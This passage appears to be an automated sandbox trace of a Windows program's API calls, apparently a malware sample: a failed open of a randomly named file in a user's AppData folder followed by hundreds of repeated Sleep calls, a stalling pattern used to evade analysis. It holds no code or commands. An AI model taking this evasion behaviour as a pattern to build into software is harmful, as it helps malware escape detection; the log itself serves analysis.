(HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471840) returned 0x26 [0168.099] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471840) returned 1 [0168.099] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0168.099] Sleep (dwMilliseconds=0x258) [0168.106] Sleep (dwMilliseconds=0x258) [0168.108] Sleep (dwMilliseconds=0x258) [0168.109] Sleep (dwMilliseconds=0x258) [0168.111] Sleep (dwMilliseconds=0x258) [0168.112] Sleep (dwMilliseconds=0x258) [0168.114] Sleep (dwMilliseconds=0x258) [0168.115] Sleep (dwMilliseconds=0x258) [0168.117] Sleep (dwMilliseconds=0x258) [0168.119] Sleep (dwMilliseconds=0x258) [0168.121] Sleep (dwMilliseconds=0x258) [0168.122] Sleep (dwMilliseconds=0x258) [0168.124] Sleep (dwMilliseconds=0x258) [0168.125] Sleep (dwMilliseconds=0x258) [0168.127] Sleep (dwMilliseconds=0x258) [0168.135] Sleep (dwMilliseconds=0x258) [0168.137] Sleep (dwMilliseconds=0x258) [0168.138] Sleep (dwMilliseconds=0x258) [0168.140] Sleep (dwMilliseconds=0x258) [0168.141] Sleep (dwMilliseconds=0x258) [0168.143] Sleep (dwMilliseconds=0x258) [0168.144] Sleep (dwMilliseconds=0x258) [0168.146] Sleep (dwMilliseconds=0x258) [0168.147] Sleep (dwMilliseconds=0x258) [0168.176] Sleep (dwMilliseconds=0x258) [0168.178] Sleep (dwMilliseconds=0x258) [0168.179] Sleep (dwMilliseconds=0x258) [0168.181] Sleep (dwMilliseconds=0x258) [0168.182] Sleep (dwMilliseconds=0x258) [0168.184] Sleep (dwMilliseconds=0x258) [0168.185] Sleep (dwMilliseconds=0x258) [0168.187] Sleep (dwMilliseconds=0x258) [0168.188] Sleep (dwMilliseconds=0x258) [0168.190] Sleep (dwMilliseconds=0x258) [0168.191] Sleep (dwMilliseconds=0x258) [0168.193] Sleep (dwMilliseconds=0x258) [0168.195] Sleep (dwMilliseconds=0x258) [0168.197] Sleep (dwMilliseconds=0x258) [0168.199] Sleep (dwMilliseconds=0x258) [0168.201] Sleep (dwMilliseconds=0x258) [0168.203] Sleep (dwMilliseconds=0x258) [0168.204] Sleep (dwMilliseconds=0x258) [0168.206] Sleep (dwMilliseconds=0x258) [0168.208] Sleep (dwMilliseconds=0x258) [0168.209] Sleep (dwMilliseconds=0x258) [0168.211] Sleep (dwMilliseconds=0x258) [0168.212] Sleep (dwMilliseconds=0x258) [0168.214] Sleep (dwMilliseconds=0x258) [0168.215] Sleep (dwMilliseconds=0x258) [0168.216] Sleep (dwMilliseconds=0x258) [0168.218] Sleep (dwMilliseconds=0x258) [0168.220] Sleep (dwMilliseconds=0x258) [0168.222] Sleep (dwMilliseconds=0x258) [0168.224] Sleep (dwMilliseconds=0x258) [0168.225] Sleep (dwMilliseconds=0x258) [0168.226] Sleep (dwMilliseconds=0x258) [0168.229] Sleep (dwMilliseconds=0x258) [0168.231] Sleep (dwMilliseconds=0x258) [0168.233] Sleep (dwMilliseconds=0x258) [0168.234] Sleep (dwMilliseconds=0x258) [0168.236] Sleep (dwMilliseconds=0x258) [0168.238] Sleep (dwMilliseconds=0x258) [0168.240] Sleep (dwMilliseconds=0x258) [0168.241] Sleep (dwMilliseconds=0x258) [0168.243] Sleep (dwMilliseconds=0x258) [0168.245] Sleep (dwMilliseconds=0x258) [0168.247] Sleep (dwMilliseconds=0x258) [0168.249] Sleep (dwMilliseconds=0x258) [0168.250] Sleep (dwMilliseconds=0x258) [0168.251] Sleep (dwMilliseconds=0x258) [0168.253] Sleep (dwMilliseconds=0x258) [0168.254] Sleep (dwMilliseconds=0x258) [0168.256] Sleep (dwMilliseconds=0x258) [0168.258] Sleep (dwMilliseconds=0x258) [0168.260] Sleep (dwMilliseconds=0x258) [0168.262] Sleep (dwMilliseconds=0x258) [0168.264] Sleep (dwMilliseconds=0x258) [0168.265] Sleep (dwMilliseconds=0x258) [0168.267] Sleep (dwMilliseconds=0x258) [0168.269] Sleep (dwMilliseconds=0x258) [0168.270] Sleep (dwMilliseconds=0x258) [0168.272] Sleep (dwMilliseconds=0x258) [0168.273] Sleep (dwMilliseconds=0x258) [0168.275] Sleep (dwMilliseconds=0x258) [0168.276] Sleep (dwMilliseconds=0x258) [0168.278] Sleep (dwMilliseconds=0x258) [0168.279] Sleep (dwMilliseconds=0x258) [0168.281] Sleep (dwMilliseconds=0x258) [0168.283] Sleep (dwMilliseconds=0x258) [0168.284] Sleep (dwMilliseconds=0x258) [0168.286] Sleep (dwMilliseconds=0x258) [0168.287] Sleep (dwMilliseconds=0x258) [0168.289] Sleep (dwMilliseconds=0x258) [0168.291] Sleep (dwMilliseconds=0x258) [0168.292] Sleep (dwMilliseconds=0x258) [0168.293] Sleep (dwMilliseconds=0x258) [0168.295] Sleep (dwMilliseconds=0x258) [0168.296] Sleep (dwMilliseconds=0x258) [0168.298] Sleep (dwMilliseconds=0x258) [0168.299] Sleep (dwMilliseconds=0x258) [0168.301] Sleep (dwMilliseconds=0x258) [0168.303] Sleep (dwMilliseconds=0x258) [0168.304] Sleep (dwMilliseconds=0x258) [0168.306] Sleep (dwMilliseconds=0x258) [0168.308] Sleep (dwMilliseconds=0x258) [0168.309] Sleep (dwMilliseconds=0x258) [0168.311] Sleep (dwMilliseconds=0x258) [0168.313] Sleep (dwMilliseconds=0x258) [0168.314] Sleep (dwMilliseconds=0x258) [0168.316] Sleep (dwMilliseconds=0x258) [0168.318] Sleep (dwMilliseconds=0x258) [0168.319] Sleep (dwMilliseconds=0x258) [0168.321] Sleep (dwMilliseconds=0x258) [0168.333] Sleep (dwMilliseconds=0x258) [0168.334] Sleep (dwMilliseconds=0x258) [0168.335] Sleep (dwMilliseconds=0x258) [0168.337] Sleep (dwMilliseconds=0x258) [0168.339] Sleep (dwMilliseconds=0x258) [0168.340] Sleep (dwMilliseconds=0x258) [0168.341] Sleep (dwMilliseconds=0x258) [0168.343] Sleep (dwMilliseconds=0x258) [0168.345] Sleep (dwMilliseconds=0x258) [0168.347] Sleep (dwMilliseconds=0x258) [0168.348] Sleep (dwMilliseconds=0x258) [0168.349] Sleep (dwMilliseconds=0x258) [0168.352] Sleep (dwMilliseconds=0x258) [0168.353] Sleep (dwMilliseconds=0x258) [0168.355] Sleep (dwMilliseconds=0x258) [0168.356] Sleep (dwMilliseconds=0x258) [0168.358] Sleep (dwMilliseconds=0x258) [0168.360] Sleep (dwMilliseconds=0x258) [0168.362] Sleep (dwMilliseconds=0x258) [0168.364] Sleep (dwMilliseconds=0x258) [0168.365] Sleep (dwMilliseconds=0x258) [0168.367] Sleep (dwMilliseconds=0x258) [0168.368] Sleep (dwMilliseconds=0x258) [0168.370] Sleep (dwMilliseconds=0x258) [0168.371] Sleep (dwMilliseconds=0x258) [0168.373] Sleep (dwMilliseconds=0x258) [0168.374] Sleep (dwMilliseconds=0x258) [0168.376] Sleep (dwMilliseconds=0x258) [0168.378] Sleep (dwMilliseconds=0x258) [0168.379] Sleep (dwMilliseconds=0x258) [0168.380] Sleep (dwMilliseconds=0x258) [0168.382] Sleep (dwMilliseconds=0x258) [0168.383] Sleep (dwMilliseconds=0x258) [0168.385] Sleep (dwMilliseconds=0x258) [0168.387] Sleep (dwMilliseconds=0x258) [0168.388] Sleep (dwMilliseconds=0x258) [0168.389] Sleep (dwMilliseconds=0x258) [0168.391] Sleep (dwMilliseconds=0x258) [0168.393] Sleep (dwMilliseconds=0x258) [0168.395] Sleep (dwMilliseconds=0x258) [0168.397] Sleep (dwMilliseconds=0x258) [0168.398] Sleep (dwMilliseconds=0x258) [0168.399] Sleep (dwMilliseconds=0x258) [0168.401] Sleep (dwMilliseconds=0x258) [0168.402] Sleep (dwMilliseconds=0x258) [0168.404] Sleep (dwMilliseconds=0x258) [0168.406] Sleep (dwMilliseconds=0x258) [0168.408] Sleep (dwMilliseconds=0x258) [0168.409] Sleep (dwMilliseconds=0x258) [0168.411] Sleep (dwMilliseconds=0x258) [0168.413] Sleep (dwMilliseconds=0x258) [0168.414] Sleep (dwMilliseconds=0x258) [0168.416] Sleep (dwMilliseconds=0x258) [0168.418] Sleep (dwMilliseconds=0x258) [0168.419] Sleep (dwMilliseconds=0x258) [0168.421] Sleep (dwMilliseconds=0x258) [0168.423] Sleep (dwMilliseconds=0x258) [0168.424] Sleep (dwMilliseconds=0x258) [0168.426] Sleep (dwMilliseconds=0x258) [0168.427] Sleep (dwMilliseconds=0x258) [0168.429] Sleep (dwMilliseconds=0x258) [0168.431] Sleep (dwMilliseconds=0x258) [0168.432] Sleep (dwMilliseconds=0x258) [0168.434] Sleep (dwMilliseconds=0x258) [0168.435] Sleep (dwMilliseconds=0x258) [0168.437] Sleep (dwMilliseconds=0x258) [0168.438] Sleep (dwMilliseconds=0x258) [0168.440] Sleep (dwMilliseconds=0x258) [0168.442] Sleep (dwMilliseconds=0x258) [0168.443] Sleep (dwMilliseconds=0x258) [0168.445] Sleep (dwMilliseconds=0x258) [0168.446] Sleep (dwMilliseconds=0x258) [0168.448] Sleep (dwMilliseconds=0x258) [0168.449] Sleep (dwMilliseconds=0x258) [0168.451] Sleep (dwMilliseconds=0x258) [0168.453] Sleep (dwMilliseconds=0x258) [0168.455] Sleep (dwMilliseconds=0x258) [0168.457] Sleep (dwMilliseconds=0x258) [0168.458] Sleep (dwMilliseconds=0x258) [0168.460] Sleep (dwMilliseconds=0x258) [0168.461] Sleep (dwMilliseconds=0x258) [0168.462] Sleep (dwMilliseconds=0x258) [0168.464] Sleep (dwMilliseconds=0x258) [0168.465] Sleep (dwMilliseconds=0x258) [0168.468] Sleep (dwMilliseconds=0x258) [0168.470] Sleep (dwMilliseconds=0x258) [0168.471] Sleep (dwMilliseconds=0x258) [0168.472] Sleep (dwMilliseconds=0x258) [0168.474] Sleep (dwMilliseconds=0x258) [0168.475] Sleep (dwMilliseconds=0x258) [0168.477] Sleep (dwMilliseconds=0x258) [0168.479] Sleep (dwMilliseconds=0x258) [0168.480] Sleep (dwMilliseconds=0x258) [0168.482] Sleep (dwMilliseconds=0x258) [0168.483] Sleep (dwMilliseconds=0x258) [0168.484] Sleep (dwMilliseconds=0x258) [0168.486] Sleep (dwMilliseconds=0x258) [0168.488] Sleep (dwMilliseconds=0x258) [0168.489] Sleep (dwMilliseconds=0x258) [0168.490] Sleep (dwMilliseconds=0x258) [0168.493] Sleep (dwMilliseconds=0x258) [0168.494] Sleep (dwMilliseconds=0x258) [0168.496] Sleep (dwMilliseconds=0x258) [0168.498] Sleep (dwMilliseconds=0x258) [0168.499] Sleep (dwMilliseconds=0x258) [0168.500] Sleep (dwMilliseconds=0x258) [0168.502] Sleep (dwMilliseconds=0x258) [0168.503] Sleep (dwMilliseconds=0x258) [0168.505] Sleep (dwMilliseconds=0x258) [0168.507] Sleep (dwMilliseconds=0x258) [0168.508] Sleep (dwMilliseconds=0x258) [0168.510] Sleep (dwMilliseconds=0x258) [0168.512] Sleep (dwMilliseconds=0x258) [0168.513] Sleep (dwMilliseconds=0x258) [0168.515] Sleep (dwMilliseconds=0x258) [0168.517] Sleep (dwMilliseconds=0x258) [0168.518] Sleep (dwMilliseconds=0x258) [0168.521] Sleep (dwMilliseconds=0x258) [0168.522] Sleep (dwMilliseconds=0x258) [0168.524] Sleep (dwMilliseconds=0x258) [0168.526] Sleep (dwMilliseconds=0x258) [0168.527] Sleep (dwMilliseconds=0x258) [0168.529] Sleep (dwMilliseconds=0x258) [0168.530] Sleep (dwMilliseconds=0x258) [0168.532] Sleep (dwMilliseconds=0x258) [0168.533] Sleep (dwMilliseconds=0x258) [0168.535] Sleep (dwMilliseconds=0x258) [0168.536] Sleep (dwMilliseconds=0x258) [0168.538] Sleep (dwMilliseconds=0x258) [0168.540] Sleep (dwMilliseconds=0x258) [0168.541] Sleep (dwMilliseconds=0x258) [0168.542] Sleep (dwMilliseconds=0x258) [0168.543] Sleep (dwMilliseconds=0x258) [0168.545] Sleep (dwMilliseconds=0x258) [0168.550] Sleep (dwMilliseconds=0x258) [0168.551] Sleep (dwMilliseconds=0x258) [0168.553] Sleep (dwMilliseconds=0x258) [0168.555] Sleep (dwMilliseconds=0x258) [0168.556] Sleep (dwMilliseconds=0x258) [0168.558] Sleep (dwMilliseconds=0x258) [0168.590] Sleep (dwMilliseconds=0x258) [0168.591] Sleep (dwMilliseconds=0x258) [0168.593] Sleep (dwMilliseconds=0x258) [0168.595] Sleep (dwMilliseconds=0x258) [0168.596] Sleep (dwMilliseconds=0x258) [0168.597] Sleep (dwMilliseconds=0x258) [0168.599] Sleep (dwMilliseconds=0x258) [0168.601] Sleep (dwMilliseconds=0x258) [0168.602] Sleep (dwMilliseconds=0x258) [0168.604] Sleep (dwMilliseconds=0x258) [0168.605] Sleep (dwMilliseconds=0x258) [0168.608] Sleep (dwMilliseconds=0x258) [0168.610] Sleep (dwMilliseconds=0x258) [0168.612] Sleep (dwMilliseconds=0x258) [0168.614] Sleep (dwMilliseconds=0x258) [0168.615] Sleep (dwMilliseconds=0x258) [0168.617] Sleep (dwMilliseconds=0x258) [0168.618] Sleep (dwMilliseconds=0x258) [0168.619] Sleep (dwMilliseconds=0x258) [0168.645] Sleep (dwMilliseconds=0x258) [0168.707] Sleep (dwMilliseconds=0x258) [0168.709] Sleep (dwMilliseconds=0x258) [0168.711] Sleep (dwMilliseconds=0x258) [0168.713] Sleep (dwMilliseconds=0x258) [0168.714] Sleep (dwMilliseconds=0x258) [0168.715] Sleep (dwMilliseconds=0x258) [0168.717] Sleep (dwMilliseconds=0x258) [0168.719] Sleep (dwMilliseconds=0x258) [0168.722] Sleep (dwMilliseconds=0x258) [0168.723] Sleep (dwMilliseconds=0x258) [0168.725] Sleep (dwMilliseconds=0x258) [0168.727] Sleep (dwMilliseconds=0x258) [0168.729] Sleep (dwMilliseconds=0x258) [0168.731] Sleep (dwMilliseconds=0x258) [0168.733] Sleep (dwMilliseconds=0x258) [0168.735] Sleep (dwMilliseconds=0x258) [0168.737] Sleep (dwMilliseconds=0x258) [0168.755] Sleep (dwMilliseconds=0x258) [0168.889] Sleep (dwMilliseconds=0x258) [0168.891] Sleep (dwMilliseconds=0x258) [0168.892] Sleep (dwMilliseconds=0x258) [0168.894] Sleep (dwMilliseconds=0x258) [0168.895] Sleep (dwMilliseconds=0x258) [0168.897] Sleep (dwMilliseconds=0x258) [0168.898] Sleep (dwMilliseconds=0x258) [0168.902] Sleep (dwMilliseconds=0x258) [0168.904] Sleep (dwMilliseconds=0x258) [0168.905] Sleep (dwMilliseconds=0x258) [0168.907] Sleep (dwMilliseconds=0x258) [0168.908] Sleep (dwMilliseconds=0x258) [0168.910] Sleep (dwMilliseconds=0x258) [0168.911] Sleep (dwMilliseconds=0x258) [0168.913] Sleep (dwMilliseconds=0x258) [0168.914] Sleep (dwMilliseconds=0x258) [0168.916] Sleep (dwMilliseconds=0x258) [0168.917] Sleep (dwMilliseconds=0x258) [0168.919] Sleep (dwMilliseconds=0x258) [0168.920] Sleep (dwMilliseconds=0x258) [0168.925] Sleep (dwMilliseconds=0x258) [0168.926] Sleep (dwMilliseconds=0x258) [0169.043] Sleep (dwMilliseconds=0x258) [0169.046] Sleep (dwMilliseconds=0x258) [0169.047] Sleep (dwMilliseconds=0x258) [0169.049] Sleep (dwMilliseconds=0x258) [0169.051] Sleep (dwMilliseconds=0x258) [0169.052] Sleep (dwMilliseconds=0x258) [0169.054] Sleep (dwMilliseconds=0x258) [0169.055] Sleep (dwMilliseconds=0x258) [0169.057] Sleep (dwMilliseconds=0x258) [0169.058] Sleep (dwMilliseconds=0x258) [0169.060] Sleep (dwMilliseconds=0x258) [0169.061] Sleep (dwMilliseconds=0x258) [0169.063] Sleep (dwMilliseconds=0x258) [0169.064] Sleep (dwMilliseconds=0x258) [0169.066] Sleep (dwMilliseconds=0x258) [0169.068] Sleep (dwMilliseconds=0x258) [0169.172] Sleep (dwMilliseconds=0x258) [0169.184] Sleep (dwMilliseconds=0x258) [0169.186] Sleep (dwMilliseconds=0x258) [0169.187] Sleep (dwMilliseconds=0x258) [0169.189] Sleep (dwMilliseconds=0x258) [0169.190] Sleep (dwMilliseconds=0x258) [0169.192] Sleep (dwMilliseconds=0x258) [0169.194] Sleep (dwMilliseconds=0x258) [0169.196] Sleep (dwMilliseconds=0x258) [0169.197] Sleep (dwMilliseconds=0x258) [0169.200] Sleep (dwMilliseconds=0x258) [0169.202] Sleep (dwMilliseconds=0x258) [0169.203] Sleep (dwMilliseconds=0x258) [0169.204] Sleep (dwMilliseconds=0x258) [0169.205] Sleep (dwMilliseconds=0x258) [0169.207] Sleep (dwMilliseconds=0x258) [0169.209] Sleep (dwMilliseconds=0x258) [0169.211] Sleep (dwMilliseconds=0x258) [0169.212] Sleep (dwMilliseconds=0x258) [0169.214] Sleep (dwMilliseconds=0x258) [0169.272] Sleep (dwMilliseconds=0x258) [0169.306] Sleep (dwMilliseconds=0x258) [0169.307] Sleep (dwMilliseconds=0x258) [0169.309] Sleep (dwMilliseconds=0x258) [0169.310] Sleep (dwMilliseconds=0x258) [0169.312] Sleep (dwMilliseconds=0x258) [0169.313] Sleep (dwMilliseconds=0x258) [0169.315] Sleep (dwMilliseconds=0x258) [0169.316] Sleep (dwMilliseconds=0x258) [0169.318] Sleep (dwMilliseconds=0x258) [0169.319] Sleep (dwMilliseconds=0x258) [0169.321] Sleep (dwMilliseconds=0x258) [0169.328] Sleep (dwMilliseconds=0x258) [0169.330] Sleep (dwMilliseconds=0x258) [0169.332] Sleep (dwMilliseconds=0x258) [0169.334] Sleep (dwMilliseconds=0x258) [0169.335] Sleep (dwMilliseconds=0x258) [0169.372] Sleep (dwMilliseconds=0x258) [0169.373] Sleep (dwMilliseconds=0x258) [0169.434] Sleep (dwMilliseconds=0x258) [0169.436] Sleep (dwMilliseconds=0x258) [0169.437] Sleep (dwMilliseconds=0x258) [0169.439] Sleep (dwMilliseconds=0x258) [0169.440] Sleep (dwMilliseconds=0x258) [0169.442] Sleep (dwMilliseconds=0x258) [0169.444] Sleep (dwMilliseconds=0x258) [0169.446] Sleep (dwMilliseconds=0x258) [0169.448] Sleep (dwMilliseconds=0x258) [0169.451] Sleep (dwMilliseconds=0x258) [0169.452] Sleep (dwMilliseconds=0x258) [0169.455] Sleep (dwMilliseconds=0x258) [0169.457] Sleep (dwMilliseconds=0x258) [0169.459] Sleep (dwMilliseconds=0x258) [0169.461] Sleep (dwMilliseconds=0x258) [0169.472] Sleep (dwMilliseconds=0x258) [0169.591] Sleep (dwMilliseconds=0x258) [0169.594] Sleep (dwMilliseconds=0x258) [0169.604] Sleep (dwMilliseconds=0x258) [0169.606] Sleep (dwMilliseconds=0x258) [0169.607] Sleep (dwMilliseconds=0x258) [0169.610] Sleep (dwMilliseconds=0x258) [0169.611] Sleep (dwMilliseconds=0x258) [0169.615] Sleep (dwMilliseconds=0x258) [0169.617] Sleep (dwMilliseconds=0x258) [0169.618] Sleep (dwMilliseconds=0x258) [0169.620] Sleep (dwMilliseconds=0x258) [0169.621] Sleep (dwMilliseconds=0x258) [0169.623] Sleep (dwMilliseconds=0x258) [0169.626] Sleep (dwMilliseconds=0x258) [0169.627] Sleep (dwMilliseconds=0x258) [0169.629] Sleep (dwMilliseconds=0x258) [0169.631] Sleep (dwMilliseconds=0x258) [0169.632] Sleep (dwMilliseconds=0x258) [0169.634] Sleep (dwMilliseconds=0x258) [0169.714] Sleep (dwMilliseconds=0x258) [0169.715] Sleep (dwMilliseconds=0x258) [0169.754] Sleep (dwMilliseconds=0x258) [0169.756] Sleep (dwMilliseconds=0x258) [0169.758] Sleep (dwMilliseconds=0x258) [0169.760] Sleep (dwMilliseconds=0x258) [0169.762] Sleep (dwMilliseconds=0x258) [0169.765] Sleep (dwMilliseconds=0x258) [0169.768] Sleep (dwMilliseconds=0x258) [0169.769] Sleep (dwMilliseconds=0x258) [0169.772] Sleep (dwMilliseconds=0x258) [0169.776] Sleep (dwMilliseconds=0x258) [0169.777] Sleep (dwMilliseconds=0x258) [0169.779] Sleep (dwMilliseconds=0x258) [0169.781] Sleep (dwMilliseconds=0x258) [0169.782] Sleep (dwMilliseconds=0x258) [0169.784] Sleep (dwMilliseconds=0x258) [0169.850] Sleep (dwMilliseconds=0x258) [0169.851] Sleep (dwMilliseconds=0x258) [0169.893] Sleep (dwMilliseconds=0x258) [0169.894] Sleep (dwMilliseconds=0x258) [0169.896] Sleep (dwMilliseconds=0x258) [0169.897] Sleep (dwMilliseconds=0x258) [0169.899] Sleep (dwMilliseconds=0x258) [0169.900] Sleep (dwMilliseconds=0x258) [0169.902] Sleep (dwMilliseconds=0x258) [0169.903] Sleep (dwMilliseconds=0x258) [0169.905] Sleep (dwMilliseconds=0x258) [0169.906] Sleep (dwMilliseconds=0x258) [0169.908] Sleep (dwMilliseconds=0x258) [0169.910] Sleep (dwMilliseconds=0x258) [0169.911] Sleep (dwMilliseconds=0x258) [0169.913] Sleep (dwMilliseconds=0x258) [0169.915] Sleep (dwMilliseconds=0x258) [0169.916] Sleep (dwMilliseconds=0x258) [0169.918] Sleep (dwMilliseconds=0x258) [0169.922] Sleep (dwMilliseconds=0x258) [0170.020] Sleep (dwMilliseconds=0x258) [0170.080] Sleep (dwMilliseconds=0x258) [0170.085] Sleep (dwMilliseconds=0x258) [0170.086] Sleep (dwMilliseconds=0x258) [0170.088] Sleep (dwMilliseconds=0x258) [0170.090] Sleep (dwMilliseconds=0x258) [0170.091] Sleep (dwMilliseconds=0x258) [0170.092] Sleep (dwMilliseconds=0x258) [0170.094] Sleep (dwMilliseconds=0x258) [0170.097] Sleep (dwMilliseconds=0x258) [0170.098] Sleep (dwMilliseconds=0x258) [0170.100] Sleep (dwMilliseconds=0x258) [0170.102] Sleep (dwMilliseconds=0x258) [0170.104] Sleep (dwMilliseconds=0x258) [0170.105] Sleep (dwMilliseconds=0x258) [0170.107] Sleep (dwMilliseconds=0x258) [0170.109] Sleep (dwMilliseconds=0x258) [0170.110] Sleep (dwMilliseconds=0x258) [0170.141] Sleep (dwMilliseconds=0x258) [0170.142] Sleep (dwMilliseconds=0x258) [0170.207] Sleep (dwMilliseconds=0x258) [0170.208] Sleep (dwMilliseconds=0x258) [0170.210] Sleep (dwMilliseconds=0x258) [0170.216] Sleep (dwMilliseconds=0x258) [0170.217] Sleep (dwMilliseconds=0x258) [0170.234] Sleep (dwMilliseconds=0x258) [0170.236] Sleep (dwMilliseconds=0x258) [0170.272] Sleep (dwMilliseconds=0x258) [0170.364] Sleep (dwMilliseconds=0x258) [0170.365] Sleep (dwMilliseconds=0x258) [0170.367] Sleep (dwMilliseconds=0x258) [0170.371] Sleep (dwMilliseconds=0x258) [0170.373] Sleep (dwMilliseconds=0x258) [0170.374] Sleep (dwMilliseconds=0x258) [0170.376] Sleep (dwMilliseconds=0x258) [0170.378] Sleep (dwMilliseconds=0x258) [0170.379] Sleep (dwMilliseconds=0x258) [0170.381] Sleep (dwMilliseconds=0x258) [0170.382] Sleep (dwMilliseconds=0x258) [0170.383] Sleep (dwMilliseconds=0x258) [0170.385] Sleep (dwMilliseconds=0x258) [0170.387] Sleep (dwMilliseconds=0x258) [0170.388] Sleep (dwMilliseconds=0x258) [0170.390] Sleep (dwMilliseconds=0x258) [0170.392] Sleep (dwMilliseconds=0x258) [0170.393] Sleep (dwMilliseconds=0x258) [0170.396] Sleep (dwMilliseconds=0x258) [0170.397] Sleep (dwMilliseconds=0x258) [0170.496] Sleep (dwMilliseconds=0x258) [0170.498] Sleep (dwMilliseconds=0x258) [0170.499] Sleep (dwMilliseconds=0x258) [0170.501] Sleep (dwMilliseconds=0x258) [0170.502] Sleep (dwMilliseconds=0x258) [0170.504] Sleep (dwMilliseconds=0x258) [0170.505] Sleep (dwMilliseconds=0x258) [0170.508] Sleep (dwMilliseconds=0x258) [0170.509] Sleep (dwMilliseconds=0x258) [0170.511] Sleep (dwMilliseconds=0x258) [0170.523] Sleep (dwMilliseconds=0x258) [0170.525] Sleep (dwMilliseconds=0x258) [0170.528] Sleep (dwMilliseconds=0x258) [0170.530] Sleep (dwMilliseconds=0x258) [0170.613] Sleep (dwMilliseconds=0x258) [0170.615] Sleep (dwMilliseconds=0x258) [0170.638] Sleep (dwMilliseconds=0x258) [0170.640] Sleep (dwMilliseconds=0x258) [0170.641] Sleep (dwMilliseconds=0x258) [0170.643] Sleep (dwMilliseconds=0x258) [0170.656] Sleep (dwMilliseconds=0x258) [0170.720] Sleep (dwMilliseconds=0x258) [0170.791] Sleep (dwMilliseconds=0x258) [0170.878] Sleep (dwMilliseconds=0x258) [0170.916] Sleep (dwMilliseconds=0x258) [0170.983] Sleep (dwMilliseconds=0x258) [0171.041] Sleep (dwMilliseconds=0x258) [0171.256] Sleep (dwMilliseconds=0x258) [0171.377] Sleep (dwMilliseconds=0x258) [0171.413] Sleep (dwMilliseconds=0x258) [0171.608] Sleep (dwMilliseconds=0x258) [0171.675] Sleep (dwMilliseconds=0x258) [0171.692] Sleep (dwMilliseconds=0x258) [0171.792] Sleep (dwMilliseconds=0x258) [0171.808] Sleep (dwMilliseconds=0x258) [0171.810] Sleep (dwMilliseconds=0x258) [0171.811] Sleep (dwMilliseconds=0x258) [0171.813] Sleep (dwMilliseconds=0x258) [0171.815] Sleep (dwMilliseconds=0x258) [0171.816] Sleep (dwMilliseconds=0x258) [0171.819] Sleep (dwMilliseconds=0x258) [0171.820] Sleep (dwMilliseconds=0x258) [0171.822] Sleep (dwMilliseconds=0x258) [0171.823] Sleep (dwMilliseconds=0x258) [0171.834] Sleep (dwMilliseconds=0x258) [0171.836] Sleep (dwMilliseconds=0x258) [0171.837] Sleep (dwMilliseconds=0x258) [0171.896] Sleep (dwMilliseconds=0x258) [0171.898] Sleep (dwMilliseconds=0x258) [0171.976] Sleep (dwMilliseconds=0x258) [0171.977] Sleep (dwMilliseconds=0x258) [0171.979] Sleep (dwMilliseconds=0x258) [0171.980] Sleep (dwMilliseconds=0x258) [0171.982] Sleep (dwMilliseconds=0x258) [0171.983] Sleep (dwMilliseconds=0x258) [0171.987] Sleep (dwMilliseconds=0x258) [0171.988] Sleep (dwMilliseconds=0x258) [0171.990] Sleep (dwMilliseconds=0x258) [0171.991] Sleep (dwMilliseconds=0x258) [0171.993] Sleep (dwMilliseconds=0x258) [0171.995] Sleep (dwMilliseconds=0x258) [0171.996] Sleep (dwMilliseconds=0x258) [0171.998] Sleep (dwMilliseconds=0x258) [0171.999] Sleep (dwMilliseconds=0x258) [0172.001] Sleep (dwMilliseconds=0x258) [0172.003] Sleep (dwMilliseconds=0x258) [0172.004] Sleep (dwMilliseconds=0x258) [0172.032] Sleep (dwMilliseconds=0x258) [0172.033] Sleep (dwMilliseconds=0x258) [0172.100] Sleep (dwMilliseconds=0x258) [0172.102] Sleep (dwMilliseconds=0x258) [0172.104] Sleep (dwMilliseconds=0x258) [0172.105] Sleep (dwMilliseconds=0x258) [0172.107] Sleep (dwMilliseconds=0x258) [0172.108] Sleep (dwMilliseconds=0x258) [0172.110] Sleep (dwMilliseconds=0x258) [0172.111] Sleep (dwMilliseconds=0x258) [0172.113] Sleep (dwMilliseconds=0x258) [0172.115] Sleep (dwMilliseconds=0x258) [0172.116] Sleep (dwMilliseconds=0x258) [0172.118] Sleep (dwMilliseconds=0x258) [0172.119] Sleep (dwMilliseconds=0x258) [0172.121] Sleep (dwMilliseconds=0x258) [0172.122] Sleep (dwMilliseconds=0x258) [0172.204] Sleep (dwMilliseconds=0x258) [0172.206] Sleep (dwMilliseconds=0x258) [0172.219] Sleep (dwMilliseconds=0x258) [0172.220] Sleep (dwMilliseconds=0x258) [0172.222] Sleep (dwMilliseconds=0x258) [0172.223] Sleep (dwMilliseconds=0x258) [0172.225] Sleep (dwMilliseconds=0x258) [0172.226] Sleep (dwMilliseconds=0x258) [0172.227] Sleep (dwMilliseconds=0x258) [0172.229] Sleep (dwMilliseconds=0x258) [0172.231] Sleep (dwMilliseconds=0x258) [0172.232] Sleep (dwMilliseconds=0x258) [0172.233] Sleep (dwMilliseconds=0x258) [0172.235] Sleep (dwMilliseconds=0x258) [0172.237] Sleep (dwMilliseconds=0x258) [0172.238] Sleep (dwMilliseconds=0x258) [0172.240] Sleep (dwMilliseconds=0x258) [0172.241] Sleep (dwMilliseconds=0x258) [0172.243] Sleep (dwMilliseconds=0x258) [0172.244] Sleep (dwMilliseconds=0x258) [0172.246] Sleep (dwMilliseconds=0x258) [0172.247] Sleep (dwMilliseconds=0x258) [0172.249] Sleep (dwMilliseconds=0x258) [0172.299] Sleep (dwMilliseconds=0x258) [0172.411] Sleep (dwMilliseconds=0x258) [0172.414] Sleep (dwMilliseconds=0x258) [0172.416] Sleep (dwMilliseconds=0x258) [0172.417] Sleep (dwMilliseconds=0x258) [0172.420] Sleep (dwMilliseconds=0x258) [0172.421] Sleep (dwMilliseconds=0x258) [0172.423] Sleep (dwMilliseconds=0x258) [0172.424] Sleep (dwMilliseconds=0x258) [0172.426] Sleep (dwMilliseconds=0x258) [0172.428] Sleep (dwMilliseconds=0x258) [0172.429] Sleep (dwMilliseconds=0x258) [0172.431] Sleep (dwMilliseconds=0x258) [0172.432] Sleep (dwMilliseconds=0x258) [0172.434] Sleep (dwMilliseconds=0x258) [0172.435] Sleep (dwMilliseconds=0x258) [0172.437] Sleep (dwMilliseconds=0x258) [0172.440] Sleep 